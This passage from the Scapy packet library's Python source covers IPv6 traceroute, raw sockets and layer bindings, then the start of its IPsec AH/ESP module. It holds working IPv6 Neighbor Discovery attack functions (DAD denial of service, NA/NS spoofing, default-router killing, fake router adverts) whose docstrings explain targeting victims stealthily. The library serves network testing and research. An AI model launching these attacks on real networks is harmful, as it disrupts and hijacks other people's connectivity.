1: MIP6MH_HoTI, 2: MIP6MH_CoTI, 3: MIP6MH_HoT, 4: MIP6MH_CoT, 5: MIP6MH_BU, 6: MIP6MH_BA, 7: MIP6MH_BE } ############################################################################# ############################################################################# ### Traceroute6 ### ############################################################################# ############################################################################# class AS_resolver6(AS_resolver_riswhois): def _resolve_one(self, ip): """ overloaded version to provide a Whois resolution on the embedded IPv4 address if the address is 6to4 or Teredo. Otherwise, the native IPv6 address is passed. """ if in6_isaddr6to4(ip): # for 6to4, use embedded @ tmp = inet_pton(socket.AF_INET6, ip) addr = inet_ntop(socket.AF_INET, tmp[2:6]) elif in6_isaddrTeredo(ip): # for Teredo, use mapped address addr = teredoAddrExtractInfo(ip)[2] else: addr = ip _, asn, desc = AS_resolver_riswhois._resolve_one(self, addr) return ip,asn,desc class TracerouteResult6(TracerouteResult): __slots__ = [] def show(self): return self.make_table(lambda (s,r): (s.sprintf("%-42s,IPv6.dst%:{TCP:tcp%TCP.dport%}{UDP:udp%UDP.dport%}{ICMPv6EchoRequest:IER}"), # TODO: ICMPv6 ! s.hlim, r.sprintf("%-42s,IPv6.src% {TCP:%TCP.flags%}"+ "{ICMPv6DestUnreach:%ir,type%}{ICMPv6PacketTooBig:%ir,type%}"+ "{ICMPv6TimeExceeded:%ir,type%}{ICMPv6ParamProblem:%ir,type%}"+ "{ICMPv6EchoReply:%ir,type%}"))) def get_trace(self): trace = {} for s,r in self.res: if IPv6 not in s: continue d = s[IPv6].dst if d not in trace: trace[d] = {} t = not (ICMPv6TimeExceeded in r or ICMPv6DestUnreach in r or ICMPv6PacketTooBig in r or ICMPv6ParamProblem in r) trace[d][s[IPv6].hlim] = r[IPv6].src, t for k in trace.itervalues(): try: m = min(x for x, y in k.itervalues() if y[1]) except ValueError: continue for l in k.keys(): # use .keys(): k is modified in the loop if l > m: del k[l] return trace def graph(self, ASres=AS_resolver6(), **kargs): TracerouteResult.graph(self, ASres=ASres, **kargs) def traceroute6(target, dport=80, minttl=1, maxttl=30, sport=RandShort(), l4 = None, timeout=2, verbose=None, **kargs): """ Instant TCP traceroute using IPv6 : traceroute6(target, [maxttl=30], [dport=80], [sport=80]) -> None """ if verbose is None: verbose = conf.verb if l4 is None: a,b = sr(IPv6(dst=target, hlim=(minttl,maxttl))/TCP(seq=RandInt(),sport=sport, dport=dport), timeout=timeout, filter="icmp6 or tcp", verbose=verbose, **kargs) else: a,b = sr(IPv6(dst=target, hlim=(minttl,maxttl))/l4, timeout=timeout, verbose=verbose, **kargs) a = TracerouteResult6(a.res) if verbose: a.display() return a,b ############################################################################# ############################################################################# ### Sockets ### ############################################################################# ############################################################################# class L3RawSocket6(L3RawSocket): def __init__(self, type = ETH_P_IPV6, filter=None, iface=None, promisc=None, nofilter=0): L3RawSocket.__init__(self, type, filter, iface, promisc) # NOTE: if fragmentation is needed, it will be done by the kernel (RFC 2292) self.outs = socket.socket(socket.AF_INET6, socket.SOCK_RAW, socket.IPPROTO_RAW) self.ins = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(type)) def IPv6inIP(dst='203.178.135.36', src=None): _IPv6inIP.dst = dst _IPv6inIP.src = src if not conf.L3socket == _IPv6inIP: _IPv6inIP.cls = conf.L3socket else: del(conf.L3socket) return _IPv6inIP class _IPv6inIP(SuperSocket): dst = '127.0.0.1' src = None cls = None def __init__(self, family=socket.AF_INET6, type=socket.SOCK_STREAM, proto=0, **args): SuperSocket.__init__(self, family, type, proto) self.worker = self.cls(**args) def set(self, dst, src=None): _IPv6inIP.src = src _IPv6inIP.dst = dst def nonblock_recv(self): p = self.worker.nonblock_recv() return self._recv(p) def recv(self, x): p = self.worker.recv(x) return self._recv(p, x) def _recv(self, p, x=MTU): if p is None: return p elif isinstance(p, IP): # TODO: verify checksum if p.src == self.dst and p.proto == socket.IPPROTO_IPV6: if isinstance(p.payload, IPv6): return p.payload return p def send(self, x): return self.worker.send(IP(dst=self.dst, src=self.src, proto=socket.IPPROTO_IPV6)/x) ############################################################################# ############################################################################# ### Neighbor Discovery Protocol Attacks ### ############################################################################# ############################################################################# def _NDP_Attack_DAD_DoS(reply_callback, iface=None, mac_src_filter=None, tgt_filter=None, reply_mac=None): """ Internal generic helper accepting a specific callback as first argument, for NS or NA reply. See the two specific functions below. """ def is_request(req, mac_src_filter, tgt_filter): """ Check if packet req is a request """ # Those simple checks are based on Section 5.4.2 of RFC 4862 if not (Ether in req and IPv6 in req and ICMPv6ND_NS in req): return 0 # Get and compare the MAC address mac_src = req[Ether].src if mac_src_filter and mac_src != mac_src_filter: return 0 # Source must be the unspecified address if req[IPv6].src != "::": return 0 # Check destination is the link-local solicited-node multicast # address associated with target address in received NS tgt = socket.inet_pton(socket.AF_INET6, req[ICMPv6ND_NS].tgt) if tgt_filter and tgt != tgt_filter: return 0 received_snma = socket.inet_pton(socket.AF_INET6, req[IPv6].dst) expected_snma = in6_getnsma(tgt) if received_snma != expected_snma: return 0 return 1 if not iface: iface = conf.iface # To prevent sniffing our own traffic if not reply_mac: reply_mac = get_if_hwaddr(iface) sniff_filter = "icmp6 and not ether src %s" % reply_mac sniff(store=0, filter=sniff_filter, lfilter=lambda x: is_request(x, mac_src_filter, tgt_filter), prn=lambda x: reply_callback(x, reply_mac, iface), iface=iface) def NDP_Attack_DAD_DoS_via_NS(iface=None, mac_src_filter=None, tgt_filter=None, reply_mac=None): """ Perform the DAD DoS attack using NS described in section 4.1.3 of RFC 3756. This is done by listening incoming NS messages sent from the unspecified address and sending a NS reply for the target address, leading the peer to believe that another node is also performing DAD for that address. By default, the fake NS sent to create the DoS uses: - as target address the target address found in received NS. - as IPv6 source address: the unspecified address (::). - as IPv6 destination address: the link-local solicited-node multicast address derived from the target address in received NS. - the mac address of the interface as source (or reply_mac, see below). - the multicast mac address derived from the solicited node multicast address used as IPv6 destination address. Following arguments can be used to change the behavior: iface: a specific interface (e.g. "eth0") of the system on which the DoS should be launched. If None is provided conf.iface is used. mac_src_filter: a mac address (e.g "00:13:72:8c:b5:69") to filter on. Only NS messages received from this source will trigger replies. This allows limiting the effects of the DoS to a single target by filtering on its mac address. The default value is None: the DoS is not limited to a specific mac address. tgt_filter: Same as previous but for a specific target IPv6 address for received NS. If the target address in the NS message (not the IPv6 destination address) matches that address, then a fake reply will be sent, i.e. the emitter will be a target of the DoS. reply_mac: allow specifying a specific source mac address for the reply, i.e. to prevent the use of the mac address of the interface. """ def ns_reply_callback(req, reply_mac, iface): """ Callback that reply to a NS by sending a similar NS """ # Let's build a reply and send it mac = req[Ether].src dst = req[IPv6].dst tgt = req[ICMPv6ND_NS].tgt rep = Ether(src=reply_mac)/IPv6(src="::", dst=dst)/ICMPv6ND_NS(tgt=tgt) sendp(rep, iface=iface, verbose=0) print "Reply NS for target address %s (received from %s)" % (tgt, mac) _NDP_Attack_DAD_DoS(ns_reply_callback, iface, mac_src_filter, tgt_filter, reply_mac) def NDP_Attack_DAD_DoS_via_NA(iface=None, mac_src_filter=None, tgt_filter=None, reply_mac=None): """ Perform the DAD DoS attack using NS described in section 4.1.3 of RFC 3756. This is done by listening incoming NS messages *sent from the unspecified address* and sending a NA reply for the target address, leading the peer to believe that another node is also performing DAD for that address. By default, the fake NA sent to create the DoS uses: - as target address the target address found in received NS. - as IPv6 source address: the target address found in received NS. - as IPv6 destination address: the link-local solicited-node multicast address derived from the target address in received NS. - the mac address of the interface as source (or reply_mac, see below). - the multicast mac address derived from the solicited node multicast address used as IPv6 destination address. - A Target Link-Layer address option (ICMPv6NDOptDstLLAddr) filled with the mac address used as source of the NA. Following arguments can be used to change the behavior: iface: a specific interface (e.g. "eth0") of the system on which the DoS should be launched. If None is provided conf.iface is used. mac_src_filter: a mac address (e.g "00:13:72:8c:b5:69") to filter on. Only NS messages received from this source will trigger replies. This allows limiting the effects of the DoS to a single target by filtering on its mac address. The default value is None: the DoS is not limited to a specific mac address. tgt_filter: Same as previous but for a specific target IPv6 address for received NS. If the target address in the NS message (not the IPv6 destination address) matches that address, then a fake reply will be sent, i.e. the emitter will be a target of the DoS. reply_mac: allow specifying a specific source mac address for the reply, i.e. to prevent the use of the mac address of the interface. This address will also be used in the Target Link-Layer Address option. """ def na_reply_callback(req, reply_mac, iface): """ Callback that reply to a NS with a NA """ # Let's build a reply and send it mac = req[Ether].src dst = req[IPv6].dst tgt = req[ICMPv6ND_NS].tgt rep = Ether(src=reply_mac)/IPv6(src=tgt, dst=dst) rep /= ICMPv6ND_NA(tgt=tgt, S=0, R=0, O=1) rep /= ICMPv6NDOptDstLLAddr(lladdr=reply_mac) sendp(rep, iface=iface, verbose=0) print "Reply NA for target address %s (received from %s)" % (tgt, mac) _NDP_Attack_DAD_DoS(na_reply_callback, iface, mac_src_filter, tgt_filter, reply_mac) def NDP_Attack_NA_Spoofing(iface=None, mac_src_filter=None, tgt_filter=None, reply_mac=None, router=False): """ The main purpose of this function is to send fake Neighbor Advertisement messages to a victim. As the emission of unsolicited Neighbor Advertisement is pretty pointless (from an attacker standpoint) because it will not lead to a modification of a victim's neighbor cache, the function send advertisements in response to received NS (NS sent as part of the DAD, i.e. with an unspecified address as source, are not considered). By default, the fake NA sent to create the DoS uses: - as target address the target address found in received NS. - as IPv6 source address: the target address - as IPv6 destination address: the source IPv6 address of received NS message. - the mac address of the interface as source (or reply_mac, see below). - the source mac address of the received NS as destination macs address of the emitted NA. - A Target Link-Layer address option (ICMPv6NDOptDstLLAddr) filled with the mac address used as source of the NA. Following arguments can be used to change the behavior: iface: a specific interface (e.g. "eth0") of the system on which the DoS should be launched. If None is provided conf.iface is used. mac_src_filter: a mac address (e.g "00:13:72:8c:b5:69") to filter on. Only NS messages received from this source will trigger replies. This allows limiting the effects of the DoS to a single target by filtering on its mac address. The default value is None: the DoS is not limited to a specific mac address. tgt_filter: Same as previous but for a specific target IPv6 address for received NS. If the target address in the NS message (not the IPv6 destination address) matches that address, then a fake reply will be sent, i.e. the emitter will be a target of the DoS. reply_mac: allow specifying a specific source mac address for the reply, i.e. to prevent the use of the mac address of the interface. This address will also be used in the Target Link-Layer Address option. router: by the default (False) the 'R' flag in the NA used for the reply is not set. If the parameter is set to True, the 'R' flag in the NA is set, advertising us as a router. Please, keep the following in mind when using the function: for obvious reasons (kernel space vs. Python speed), when the target of the address resolution is on the link, the sender of the NS receives 2 NA messages in a row, the valid one and our fake one. The second one will overwrite the information provided by the first one, i.e. the natural latency of Scapy helps here. In practice, on a common Ethernet link, the emission of the NA from the genuine target (kernel stack) usually occurs in the same millisecond as the receipt of the NS. The NA generated by Scapy6 will usually come after something 20+ ms. On a usual testbed for instance, this difference is sufficient to have the first data packet sent from the victim to the destination before it even receives our fake NA. """ def is_request(req, mac_src_filter, tgt_filter): """ Check if packet req is a request """ # Those simple checks are based on Section 5.4.2 of RFC 4862 if not (Ether in req and IPv6 in req and ICMPv6ND_NS in req): return 0 mac_src = req[Ether].src if mac_src_filter and mac_src != mac_src_filter: return 0 # Source must NOT be the unspecified address if req[IPv6].src == "::": return 0 tgt = socket.inet_pton(socket.AF_INET6, req[ICMPv6ND_NS].tgt) if tgt_filter and tgt != tgt_filter: return 0 dst = req[IPv6].dst if in6_isllsnmaddr(dst): # Address is Link Layer Solicited Node mcast. # If this is a real address resolution NS, then the destination # address of the packet is the link-local solicited node multicast # address associated with the target of the NS. # Otherwise, the NS is a NUD related one, i.e. the peer is # unicasting the NS to check the target is still alive (L2 # information is still in its cache and it is verified) received_snma = socket.inet_pton(socket.AF_INET6, dst) expected_snma = in6_getnsma(tgt) if received_snma != expected_snma: print "solicited node multicast @ does not match target @!" return 0 return 1 def reply_callback(req, reply_mac, router, iface): """ Callback that reply to a NS with a spoofed NA """ # Let's build a reply (as defined in Section 7.2.4. of RFC 4861) and # send it back. mac = req[Ether].src pkt = req[IPv6] src = pkt.src tgt = req[ICMPv6ND_NS].tgt rep = Ether(src=reply_mac, dst=mac)/IPv6(src=tgt, dst=src) rep /= ICMPv6ND_NA(tgt=tgt, S=1, R=router, O=1) # target from the NS # "If the solicitation IP Destination Address is not a multicast # address, the Target Link-Layer Address option MAY be omitted" # Given our purpose, we always include it. rep /= ICMPv6NDOptDstLLAddr(lladdr=reply_mac) sendp(rep, iface=iface, verbose=0) print "Reply NA for target address %s (received from %s)" % (tgt, mac) if not iface: iface = conf.iface # To prevent sniffing our own traffic if not reply_mac: reply_mac = get_if_hwaddr(iface) sniff_filter = "icmp6 and not ether src %s" % reply_mac router = (router and 1) or 0 # Value of the R flags in NA sniff(store=0, filter=sniff_filter, lfilter=lambda x: is_request(x, mac_src_filter, tgt_filter), prn=lambda x: reply_callback(x, reply_mac, router, iface), iface=iface) def NDP_Attack_NS_Spoofing(src_lladdr=None, src=None, target="2001:db8::1", dst=None, src_mac=None, dst_mac=None, loop=True, inter=1, iface=None): """ The main purpose of this function is to send fake Neighbor Solicitations messages to a victim, in order to either create a new entry in its neighbor cache or update an existing one. In section 7.2.3 of RFC 4861, it is stated that a node SHOULD create the entry or update an existing one (if it is not currently performing DAD for the target of the NS). The entry's reachability state is set to STALE. The two main parameters of the function are the source link-layer address (carried by the Source Link-Layer Address option in the NS) and the source address of the packet. Unlike some other NDP_Attack_* function, this one is not based on a stimulus/response model. When called, it sends the same NS packet in loop every second (the default) Following arguments can be used to change the format of the packets: src_lladdr: the MAC address used in the Source Link-Layer Address option included in the NS packet. This is the address that the peer should associate in its neighbor cache with the IPv6 source address of the packet. If None is provided, the mac address of the interface is used. src: the IPv6 address used as source of the packet. If None is provided, an address associated with the emitting interface will be used (based on the destination address of the packet). target: the target address of the NS packet. If no value is provided, a dummy address (2001:db8::1) is used. The value of the target has a direct impact on the destination address of the packet if it is not overridden. By default, the solicited-node multicast address associated with the target is used as destination address of the packet. Consider specifying a specific destination address if you intend to use a target address different than the one of the victim. dst: The destination address of the NS. By default, the solicited node multicast address associated with the target address (see previous parameter) is used if no specific value is provided. The victim is not expected to check the destination address of the packet, so using a multicast address like ff02::1 should work if you want the attack to target all hosts on the link. On the contrary, if you want to be more stealth, you should provide the target address for this parameter in order for the packet to be sent only to the victim. src_mac: the MAC address used as source of the packet. By default, this is the address of the interface. If you want to be more stealth, feel free to use something else. Note that this address is not the that the victim will use to populate its neighbor cache. dst_mac: The MAC address used as destination address of the packet. If the IPv6 destination address is multicast (all-nodes, solicited node, ...), it will be computed. If the destination address is unicast, a neighbor solicitation will be performed to get the associated address. If you want the attack to be stealth, you can provide the MAC address using this parameter. loop: By default, this parameter is True, indicating that NS packets will be sent in loop, separated by 'inter' seconds (see below). When set to False, a single packet is sent. inter: When loop parameter is True (the default), this parameter provides the interval in seconds used for sending NS packets. iface: to force the sending interface. """ if not iface: iface = conf.iface # Use provided MAC address as source link-layer address option # or the MAC address of the interface if none is provided. if not src_lladdr: src_lladdr = get_if_hwaddr(iface) # Prepare packets parameters ether_params = {} if src_mac: ether_params["src"] = src_mac if dst_mac: ether_params["dst"] = dst_mac ipv6_params = {} if src: ipv6_params["src"] = src if dst: ipv6_params["dst"] = dst else: # Compute the solicited-node multicast address # associated with the target address. tmp = inet_ntop(socket.AF_INET6, in6_getnsma(inet_pton(socket.AF_INET6, target))) ipv6_params["dst"] = tmp pkt = Ether(**ether_params) pkt /= IPv6(**ipv6_params) pkt /= ICMPv6ND_NS(tgt=target) pkt /= ICMPv6NDOptSrcLLAddr(lladdr=src_lladdr) sendp(pkt, inter=inter, loop=loop, iface=iface, verbose=0) def NDP_Attack_Kill_Default_Router(iface=None, mac_src_filter=None, ip_src_filter=None, reply_mac=None, tgt_mac=None): """ The purpose of the function is to monitor incoming RA messages sent by default routers (RA with a non-zero Router Lifetime values) and invalidate them by immediately replying with fake RA messages advertising a zero Router Lifetime value. The result on receivers is that the router is immediately invalidated, i.e. the associated entry is discarded from the default router list and destination cache is updated to reflect the change. By default, the function considers all RA messages with a non-zero Router Lifetime value but provides configuration knobs to allow filtering RA sent by specific routers (Ethernet source address). With regard to emission, the multicast all-nodes address is used by default but a specific target can be used, in order for the DoS to apply only to a specific host. More precisely, following arguments can be used to change the behavior: iface: a specific interface (e.g. "eth0") of the system on which the DoS should be launched. If None is provided conf.iface is used. mac_src_filter: a mac address (e.g "00:13:72:8c:b5:69") to filter on. Only RA messages received from this source will trigger replies. If other default routers advertised their presence on the link, their clients will not be impacted by the attack. The default value is None: the DoS is not limited to a specific mac address. ip_src_filter: an IPv6 address (e.g. fe80::21e:bff:fe4e:3b2) to filter on. Only RA messages received from this source address will trigger replies. If other default routers advertised their presence on the link, their clients will not be impacted by the attack. The default value is None: the DoS is not limited to a specific IPv6 source address. reply_mac: allow specifying a specific source mac address for the reply, i.e. to prevent the use of the mac address of the interface. tgt_mac: allow limiting the effect of the DoS to a specific host, by sending the "invalidating RA" only to its mac address. """ def is_request(req, mac_src_filter, ip_src_filter): """ Check if packet req is a request """ if not (Ether in req and IPv6 in req and ICMPv6ND_RA in req): return 0 mac_src = req[Ether].src if mac_src_filter and mac_src != mac_src_filter: return 0 ip_src = req[IPv6].src if ip_src_filter and ip_src != ip_src_filter: return 0 # Check if this is an advertisement for a Default Router # by looking at Router Lifetime value if req[ICMPv6ND_RA].routerlifetime == 0: return 0 return 1 def ra_reply_callback(req, reply_mac, tgt_mac, iface): """ Callback that sends an RA with a 0 lifetime """ # Let's build a reply and send it src = req[IPv6].src # Prepare packets parameters ether_params = {} if reply_mac: ether_params["src"] = reply_mac if tgt_mac: ether_params["dst"] = tgt_mac # Basis of fake RA (high pref, zero lifetime) rep = Ether(**ether_params)/IPv6(src=src, dst="ff02::1") rep /= ICMPv6ND_RA(prf=1, routerlifetime=0) # Add it a PIO from the request ... tmp = req while ICMPv6NDOptPrefixInfo in tmp: pio = tmp[ICMPv6NDOptPrefixInfo] tmp = pio.payload del(pio.payload) rep /= pio # ... and source link layer address option if ICMPv6NDOptSrcLLAddr in req: mac = req[ICMPv6NDOptSrcLLAddr].lladdr else: mac = req[Ether].src rep /= ICMPv6NDOptSrcLLAddr(lladdr=mac) sendp(rep, iface=iface, verbose=0) print "Fake RA sent with source address %s" % src if not iface: iface = conf.iface # To prevent sniffing our own traffic if not reply_mac: reply_mac = get_if_hwaddr(iface) sniff_filter = "icmp6 and not ether src %s" % reply_mac sniff(store=0, filter=sniff_filter, lfilter=lambda x: is_request(x, mac_src_filter, ip_src_filter), prn=lambda x: ra_reply_callback(x, reply_mac, tgt_mac, iface), iface=iface) def NDP_Attack_Fake_Router(ra, iface=None, mac_src_filter=None, ip_src_filter=None): """ The purpose of this function is to send provided RA message at layer 2 (i.e. providing a packet starting with IPv6 will not work) in response to received RS messages. In the end, the function is a simple wrapper around sendp() that monitor the link for RS messages. It is probably better explained with an example: >>> ra = Ether()/IPv6()/ICMPv6ND_RA() >>> ra /= ICMPv6NDOptPrefixInfo(prefix="2001:db8:1::", prefixlen=64) >>> ra /= ICMPv6NDOptPrefixInfo(prefix="2001:db8:2::", prefixlen=64) >>> ra /= ICMPv6NDOptSrcLLAddr(lladdr="00:11:22:33:44:55") >>> NDP_Attack_Fake_Router(ra, iface="eth0") Fake RA sent in response to RS from fe80::213:58ff:fe8c:b573 Fake RA sent in response to RS from fe80::213:72ff:fe8c:b9ae ... Following arguments can be used to change the behavior: ra: the RA message to send in response to received RS message. iface: a specific interface (e.g. "eth0") of the system on which the DoS should be launched. If none is provided, conf.iface is used. mac_src_filter: a mac address (e.g "00:13:72:8c:b5:69") to filter on. Only RS messages received from this source will trigger a reply. Note that no changes to provided RA is done which imply that if you intend to target only the source of the RS using this option, you will have to set the Ethernet destination address to the same value in your RA. The default value for this parameter is None: no filtering on the source of RS is done. ip_src_filter: an IPv6 address (e.g. fe80::21e:bff:fe4e:3b2) to filter on. Only RS messages received from this source address will trigger replies. Same comment as for previous argument apply: if you use the option, you will probably want to set a specific Ethernet destination address in the RA. """ def is_request(req, mac_src_filter, ip_src_filter): """ Check if packet req is a request """ if not (Ether in req and IPv6 in req and ICMPv6ND_RS in req): return 0 mac_src = req[Ether].src if mac_src_filter and mac_src != mac_src_filter: return 0 ip_src = req[IPv6].src if ip_src_filter and ip_src != ip_src_filter: return 0 return 1 def ra_reply_callback(req, iface): """ Callback that sends an RA in reply to an RS """ src = req[IPv6].src sendp(ra, iface=iface, verbose=0) print "Fake RA sent in response to RS from %s" % src if not iface: iface = conf.iface sniff_filter = "icmp6" sniff(store=0, filter=sniff_filter, lfilter=lambda x: is_request(x, mac_src_filter, ip_src_filter), prn=lambda x: ra_reply_callback(x, iface), iface=iface) ############################################################################# ############################################################################# ### Layers binding ### ############################################################################# ############################################################################# conf.l3types.register(ETH_P_IPV6, IPv6) conf.l2types.register(31, IPv6) bind_layers(Ether, IPv6, type = 0x86dd ) bind_layers(CookedLinux, IPv6, proto = 0x86dd ) bind_layers(IPerror6, TCPerror, nh = socket.IPPROTO_TCP ) bind_layers(IPerror6, UDPerror, nh = socket.IPPROTO_UDP ) bind_layers(IPv6, TCP, nh = socket.IPPROTO_TCP ) bind_layers(IPv6, UDP, nh = socket.IPPROTO_UDP ) bind_layers(IP, IPv6, proto = socket.IPPROTO_IPV6 ) bind_layers(IPv6, IPv6, nh = socket.IPPROTO_IPV6 ) bind_layers(IPv6, IP, nh = socket.IPPROTO_IPIP ) scapy-2.3.3/scapy/layers/ipsec.py000066400000000000000000001110311300136037300167220ustar00rootroot00000000000000############################################################################# ## ipsec.py --- IPSec support for Scapy ## ## ## ## Copyright (C) 2014 6WIND ## ## ## ## This program is free software; you can redistribute it and/or modify it ## ## under the terms of the GNU General Public License version 2 as ## ## published by the Free Software Foundation. ## ## ## ## This program is distributed in the hope that it will be useful, but ## ## WITHOUT ANY WARRANTY; without even the implied warranty of ## ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU ## ## General Public License for more details. ## ############################################################################# """ IPSec layer =========== Example of use: >>> sa = SecurityAssociation(ESP, spi=0xdeadbeef, crypt_algo='AES-CBC', ... crypt_key='sixteenbytes key') >>> p = IP(src='1.1.1.1', dst='2.2.2.2') >>> p /= TCP(sport=45012, dport=80) >>> p /= Raw('testdata') >>> p = IP(str(p)) >>> p >> >>> >>> e = sa.encrypt(p) >>> e > >>> >>> d = sa.decrypt(e) >>> d >> >>> >>> d == p True """ import socket import struct try: from Crypto.Util.number import GCD as gcd except ImportError: try: from fractions import gcd except ImportError: def gcd(a, b): """Fallback implementation when Crypto is missing, and fractions does not exist (Python 2.5) """ if b > a: a, b = b, a c = a % b return b if c == 0 else gcd(c, b) from scapy.data import IP_PROTOS from scapy.fields import ByteEnumField, ByteField, StrField, XIntField, IntField, \ ShortField, PacketField from scapy.packet import Packet, bind_layers, Raw from scapy.layers.inet import IP, UDP from scapy.layers.inet6 import IPv6, IPv6ExtHdrHopByHop, IPv6ExtHdrDestOpt, \ IPv6ExtHdrRouting #------------------------------------------------------------------------------ class AH(Packet): """ Authentication Header See https://tools.ietf.org/rfc/rfc4302.txt """ name = 'AH' fields_desc = [ ByteEnumField('nh', None, IP_PROTOS), ByteField('payloadlen', None), ShortField('reserved', None), XIntField('spi', 0x0), IntField('seq', 0), StrField('icv', None), StrField('padding', None), ] overload_fields = { IP: {'proto': socket.IPPROTO_AH}, IPv6: {'nh': socket.IPPROTO_AH}, IPv6ExtHdrHopByHop: {'nh': socket.IPPROTO_AH}, IPv6ExtHdrDestOpt: {'nh': socket.IPPROTO_AH}, IPv6ExtHdrRouting: {'nh': socket.IPPROTO_AH}, } bind_layers(IP, AH, proto=socket.IPPROTO_AH) bind_layers(IPv6, AH, nh=socket.IPPROTO_AH) #------------------------------------------------------------------------------ class ESP(Packet): """ Encapsulated Security Payload See https://tools.ietf.org/rfc/rfc4303.txt """ name = 'ESP' fields_desc = [ XIntField('spi', 0x0), IntField('seq', 0), StrField('data', None), ] overload_fields = { IP: {'proto': socket.IPPROTO_ESP}, IPv6: {'nh': socket.IPPROTO_ESP}, IPv6ExtHdrHopByHop: {'nh': socket.IPPROTO_ESP}, IPv6ExtHdrDestOpt: {'nh': socket.IPPROTO_ESP}, IPv6ExtHdrRouting: {'nh': socket.IPPROTO_ESP}, } bind_layers(IP, ESP, proto=socket.IPPROTO_ESP) bind_layers(IPv6, ESP, nh=socket.IPPROTO_ESP) bind_layers(UDP, ESP, dport=4500) # NAT-Traversal encapsulation bind_layers(UDP, ESP, sport=4500) # NAT-Traversal encapsulation #------------------------------------------------------------------------------ class _ESPPlain(Packet): """ Internal class to represent unencrypted ESP packets. """ name = 'ESP' fields_desc = [ XIntField('spi', 0x0), IntField('seq', 0), StrField('iv', ''), PacketField('data', '', Raw), StrField('padding', ''), ByteField('padlen', 0), ByteEnumField('nh', 0, IP_PROTOS), StrField('icv', ''), ] def data_for_encryption(self): return str(self.data) + self.padding + chr(self.padlen) + chr(self.nh) #------------------------------------------------------------------------------ try: from Crypto.Cipher import AES from Crypto.Cipher import DES from Crypto.Cipher import DES3 from Crypto.Cipher import CAST from Crypto.Cipher import Blowfish from Crypto.Util import Counter from Crypto import Random except ImportError: # no error if pycrypto is not available but encryption won't be supported AES = None DES = None DES3 = None CAST = None Blowfish = None Random = None #------------------------------------------------------------------------------ def _lcm(a, b): """ Least Common Multiple between 2 integers. """ if a == 0 or b == 0: return 0 else: return abs(a * b) / gcd(a, b) class CryptAlgo(object): """ IPSec encryption algorithm """ def __init__(self, name, cipher, mode, block_size=None, iv_size=None, key_size=None, icv_size=None): """ @param name: the name of this encryption algorithm @param cipher: a Cipher module @param mode: the mode used with the cipher module @param block_size: the length a block for this algo. Defaults to the `block_size` of the cipher. @param iv_size: the length of the initialization vector of this algo. Defaults to the `block_size` of the cipher. @param key_size: an integer or list/tuple of integers. If specified, force the secret keys length to one of the values. Defaults to the `key_size` of the cipher. """ self.name = name self.cipher = cipher self.mode = mode self.icv_size = icv_size self.is_aead = (hasattr(self.cipher, 'MODE_GCM') and self.mode == self.cipher.MODE_GCM) or \ (hasattr(self.cipher, 'MODE_CCM') and self.mode == self.cipher.MODE_CCM) if block_size is not None: self.block_size = block_size elif cipher is not None: self.block_size = cipher.block_size else: self.block_size = 1 if iv_size is None: self.iv_size = self.block_size else: self.iv_size = iv_size if key_size is not None: self.key_size = key_size elif cipher is not None: self.key_size = cipher.key_size else: self.key_size = None def check_key(self, key): """ Check that the key length is valid. @param key: a byte string """ if self.key_size and not (len(key) == self.key_size or len(key) in self.key_size): raise TypeError('invalid key size %s, must be %s' % (len(key), self.key_size)) def generate_iv(self): """ Generate a random initialization vector. If pycrypto is not available, return a buffer of the correct length filled with only '\x00'. """ if Random: return Random.get_random_bytes(self.iv_size) else: return chr(0) * self.iv_size def new_cipher(self, key, iv): """ @param key: the secret key, a byte string @param iv: the initialization vector, a byte string @return: an initialized cipher object for this algo """ if (hasattr(self.cipher, 'MODE_CTR') and self.mode == self.cipher.MODE_CTR or self.is_aead): # in counter mode, the "iv" must be incremented for each block # it is calculated like this: # +---------+------------------+---------+ # | nonce | IV | counter | # +---------+------------------+---------+ # m bytes n bytes 4 bytes # <--------------------------------------> # block_size nonce_size = self.cipher.block_size - self.iv_size - 4 # instead of asking for an extra parameter, we extract the last # nonce_size bytes of the key and use them as the nonce. # +----------------------------+---------+ # | cipher key | nonce | # +----------------------------+---------+ # <---------> # nonce_size cipher_key, nonce = key[:-nonce_size], key[-nonce_size:] if self.is_aead: return self.cipher.new(cipher_key, self.mode, nonce + iv, counter=Counter.new(4 * 8, prefix=nonce + iv)) return self.cipher.new(cipher_key, self.mode, counter=Counter.new(4 * 8, prefix=nonce + iv)) else: return self.cipher.new(key, self.mode, iv) def pad(self, esp): """ Add the correct amount of padding so that the data to encrypt is exactly a multiple of the algorithm's block size. Also, make sure that the total ESP packet length is a multiple of 4 or 8 bytes with IP or IPv6 respectively. @param esp: an unencrypted _ESPPlain packet """ # 2 extra bytes for padlen and nh data_len = len(esp.data) + 2 # according to the RFC4303, section 2.4. Padding (for Encryption) # the size of the ESP payload must be a multiple of 32 bits align = _lcm(self.block_size, 4) # pad for block size esp.padlen = -data_len % align # padding must be an array of bytes starting from 1 to padlen esp.padding = ''.join(chr(b) for b in xrange(1, esp.padlen + 1)) # If the following test fails, it means that this algo does not comply # with the RFC payload_len = len(esp.iv) + len(esp.data) + len(esp.padding) + 2 if payload_len % 4 != 0: raise ValueError('The size of the ESP data is not aligned to 32 bits after padding.') return esp def encrypt(self, esp, key): """ Encrypt an ESP packet @param esp: an unencrypted _ESPPlain packet with valid padding @param key: the secret key used for encryption @return: a valid ESP packet encrypted with this algorithm """ data = esp.data_for_encryption() if self.cipher: self.check_key(key) cipher = self.new_cipher(key, esp.iv) if self.is_aead: cipher.update(struct.pack('!LL', esp.spi, esp.seq)) data = cipher.encrypt(data) data += cipher.digest()[:self.icv_size] else: data = cipher.encrypt(data) return ESP(spi=esp.spi, seq=esp.seq, data=esp.iv + data) def decrypt(self, esp, key, icv_size=0): """ Decrypt an ESP packet @param esp: an encrypted ESP packet @param key: the secret key used for encryption @param icv_size: the length of the icv used for integrity check @return: a valid ESP packet encrypted with this algorithm """ self.check_key(key) if self.cipher and self.is_aead: icv_size = self.icv_size iv = esp.data[:self.iv_size] data = esp.data[self.iv_size:len(esp.data) - icv_size] icv = esp.data[len(esp.data) - icv_size:] if self.cipher: cipher = self.new_cipher(key, iv) if self.is_aead: cipher.update(struct.pack('!LL', esp.spi, esp.seq)) data = cipher.decrypt(data) # extract padlen and nh padlen = ord(data[-2]) nh = ord(data[-1]) # then use padlen to determine data and padding data = data[:len(data) - padlen - 2] padding = data[len(data) - padlen - 2: len(data) - 2] return _ESPPlain(spi=esp.spi, seq=esp.seq, iv=iv, data=data, padding=padding, padlen=padlen, nh=nh, icv=icv) #------------------------------------------------------------------------------ # The names of the 